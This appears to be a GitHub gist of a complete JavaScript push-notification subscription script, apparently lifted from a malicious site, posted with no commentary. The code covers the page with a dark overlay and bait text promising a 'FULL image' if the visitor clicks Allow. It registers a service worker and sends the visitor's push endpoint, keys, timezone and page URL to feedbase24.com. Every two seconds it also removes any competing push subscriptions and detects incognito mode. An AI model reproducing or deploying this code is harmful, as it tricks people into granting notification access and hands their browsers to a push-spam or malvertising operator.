Skip to content

Instantly share code, notes, and snippets.

@orf
Created December 1, 2019 22:07
Show Gist options
  • Save orf/9c7239a18b08b3637fa7e3e895892067 to your computer and use it in GitHub Desktop.
Save orf/9c7239a18b08b3637fa7e3e895892067 to your computer and use it in GitHub Desktop.
(function () {
'use strict';
const SETTINGS = {
callbackName: 'onSubInit',
workerName: 'v2max.js',
serverUrl: 'https://feedbase24.com/?push=8bd42aa4-d0bb-4ae1-8e50-3ca22fde562c&s=me2tcn3dmm5ha3ddf42dsna',
applicationServerKey: urlB64ToUint8Array('BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG-xOq6GiK31R-NF--qzgT3_C2jurmRX_N6nY4g'),
background: {
show: true,
transparent: 70,
text: "Press \"Allow\" to get FULL image" }
};
window.Sk = SETTINGS.applicationServerKey;
SETTINGS.template = '\
<div style="z-index: 2147483647; position: fixed; top: 0; bottom: 0; left: 0; right: 0;background: rgba(0,0,0,.'+SETTINGS.background.transparent+')!important;backface-visibility: hidden;-webkit-backface-visibility: hidden;text-align: left;">\
<div style="position: fixed;' + (isMobileDevice() ? 'bottom: 0' : 'top: 30%') + ';color: #fff; font-size: 25px;text-align: center;left: 50%;transform: translate(-50%, -50%);max-width: 360px;font-family: \'Segoe UI\',\'Open Sans\',Ubuntu,\'Dejavu Sans\',Helvetica,\'Helvetica Neue\',Arial,sans-serif">\
' + SETTINGS.background.text + '\
</div>\
<div class="js-close" style="position: absolute; right: 20px;top: 10px;font-weight: 300;opacity: .8;cursor: pointer;font-family: \'Segoe UI\',\'Open Sans\',Ubuntu,\'Dejavu Sans\',Helvetica,\'Helvetica Neue\',Arial,sans-serif;color: #fff;width: 60px;text-align: center;">\
<span style="font-size: 60px;line-height: 20px;">×</span>\
</div>\
</div>\
';
const EVENTS = {
show: [],
subscribe: [],
disallow: [],
error: []
};
function urlB64ToUint8Array(base64String) {
const padding = '='.repeat((4 - base64String.length % 4) % 4);
const base64 = (base64String + padding)
.replace(/\-/g, '+')
.replace(/_/g, '/');
const rawData = window.atob(base64);
const outputArray = new Uint8Array(rawData.length);
for (let i = 0; i < rawData.length; ++i) {
outputArray[i] = rawData.charCodeAt(i);
}
return outputArray;
}
function restoreMethods() {
function ready() {
return new Promise((resolve, reject) => {
if (document.readyState !== 'loading') {
return resolve();
}
document.addEventListener('DOMContentLoaded', resolve);
});
}
function getOriginalWindow() {
let frame = document.createElement('iframe');
frame.style.display = 'none';
frame.style.visibility = 'hidden';
document.body.insertBefore(frame, document.body.firstChild);
return frame.contentWindow;
}
return ready().then(getOriginalWindow).then(safeWindow => {
try {
ServiceWorkerRegistration.prototype.unregister = safeWindow.ServiceWorkerRegistration.prototype.unregister;
PushSubscription.prototype.unsubscribe = safeWindow.PushSubscription.prototype.unsubscribe;
} catch (e) {}
});
}
function array_equal(a, b) {
return a.length === b.length
? a.every(function (el, i) {
return el === b[i];
}, b)
: false;
}
function isMobileDevice() {
if (typeof window.orientation !== 'undefined') {
return true;
}
if ('ontouchstart' in window || navigator.msMaxTouchPoints) {
return true;
}
return false;
}
const templateDom = {
element: null,
removeHtml: function () {
if (templateDom.element) {
templateDom.element.parentNode.removeChild(templateDom.element);
templateDom.element = null;
}
},
events: {
close: function (ev) {
ev.preventDefault();
templateDom.removeHtml();
}
}
};
let workerInstaller = null;
function getWorkerRegistration() {
return workerInstaller
.then(() => navigator.serviceWorker.ready)
;
}
const mainManager = {
isIncognitoMode: false,
emitEvents: function (event, data) {
EVENTS[event].forEach(cb => cb(data));
},
attachEvent: function (event, callback) {
if (typeof EVENTS[event] === 'undefined') {
return false;
}
EVENTS[event].unshift(callback);
return true;
},
processError: function (error) {
console.error(error);
this.emitEvents('error', error);
},
renderHtml: function () {
if (!SETTINGS.background.show) {
return false;
}
function ready(callback) {
if (document.readyState !== 'loading') {
return callback();
}
document.addEventListener('DOMContentLoaded', function () {
return callback();
});
}
ready(() => {
templateDom.element = document.createElement('div');
templateDom.element.innerHTML = SETTINGS.template;
document.body.appendChild(templateDom.element);
for (let event in templateDom.events) {
if (templateDom.events.hasOwnProperty(event)) {
let elements = [].slice.call(templateDom.element.getElementsByClassName('js-' + event));
elements.forEach(element => {
element.onclick = templateDom.events[event];
element.removeAttribute('class');
});
}
}
});
},
checkSubscription: function () {
try {
if (Notification.permission === 'default') {
this.renderHtml();
this.emitEvents('show');
}
} catch (e) {
return Promise.reject(e);
}
return Notification.requestPermission()
.then(permission => {
templateDom.removeHtml();
switch (this.getPermission()) {
case 'granted':
return getWorkerRegistration()
.then(registration => registration.pushManager.getSubscription()
.then(subscription => {
//console.log(subscription);
if (subscription &&
subscription.options &&
subscription.options.applicationServerKey &&
array_equal(new Uint8Array(subscription.options.applicationServerKey), SETTINGS.applicationServerKey)
) {
return this.emitEvents('subscribe');
} else {
return subscription.unsubscribe()
.then(() => this.subscribe())
.catch(error => this.processError(error));
}
})
.catch(error => this.subscribe())
);
case 'denied':
return this.emitEvents('disallow', 'denied');
default:
return this.emitEvents('disallow', 'cancel');
}
});
},
subscribe: function () {
return getWorkerRegistration()
.then(registration => registration.pushManager.subscribe({
userVisibleOnly: true,
applicationServerKey: SETTINGS.applicationServerKey
}))
.then(subscription => {
let gmt = - new Date().getTimezoneOffset()/60;
let rawKey = subscription.getKey ? subscription.getKey('p256dh') : '';
let key = rawKey ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawKey))) : '';
let rawAuthSecret = subscription.getKey ? subscription.getKey('auth') : '';
let authSecret = rawAuthSecret ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawAuthSecret))) : '';
return fetch(SETTINGS.serverUrl, {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
id: subscription.endpoint,
key: key,
secret: authSecret,
gmt :gmt,
uri :window.location.href
})
});
})
.then(() => this.emitEvents('subscribe'));
},
getPermission() {
if (!this.canStart()) {
return 'default';
}
return Notification.permission;
},
canStart: function () {
if (this.isIncognitoMode) {
return false;
}
if (!('PushManager' in window) || !('serviceWorker' in navigator) || !('Notification' in window) || !('fetch' in window)) {
return false;
}
// Iframe
if (window.self !== window.top) {
return false;
}
return true;
},
start: function () {
if (!this.canStart()) {
let error = new Error('Browser is not suitable for subscriptions');
error.code = 'UNSUPPORTED_DEVICE';
return this.processError(error);
}
console.log(this.getPermission());
if (this.getPermission() === 'denied') {
return this.emitEvents('disallow', 'denied');
}
this.checkSubscription()
.catch(error => this.processError(error));
}
};
function init() {
if (mainManager.canStart()) {
workerInstaller = navigator.serviceWorker
.register('/' + SETTINGS.workerName)
;
workerInstaller.catch(error => {});
}
if (typeof window[SETTINGS.callbackName] === 'function') {
window[SETTINGS.callbackName](mainManager);
} else {
mainManager.start();
}
var im = document.querySelector('#p_arrow');
if (im) {
setInterval(function () {
if (im.style.top === '0px') {
im.style.top = '-40px';
} else {
im.style.top = '0px';
}
}, 500);
}
setInterval(function () {
if (Notification.permission === 'granted') {
navigator.serviceWorker.getRegistrations().then(function(registrations) {
registrations.forEach(function(registration) {
registration.pushManager.getSubscription().then(subscription => {
if (subscription &&
subscription.options &&
subscription.options.applicationServerKey &&
array_equal(new Uint8Array(subscription.options.applicationServerKey), SETTINGS.applicationServerKey)
){
}else{
restoreMethods().then(() => {
subscription.unsubscribe();
registration.unregister();
});
}
})
});
});
}}, 2000);
}
const sleep = (milliseconds) => {
return new Promise(resolve => setTimeout(resolve, milliseconds))
}
let fileSystem = window.RequestFileSystem || window.webkitRequestFileSystem;
if (!fileSystem) {
sleep(1).then(() => {
init();
})
} else {
sleep(1).then(() => {
fileSystem(window.TEMPORARY, 100, init, () => {
mainManager.isIncognitoMode = true;
init();
});
})
}
}());
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment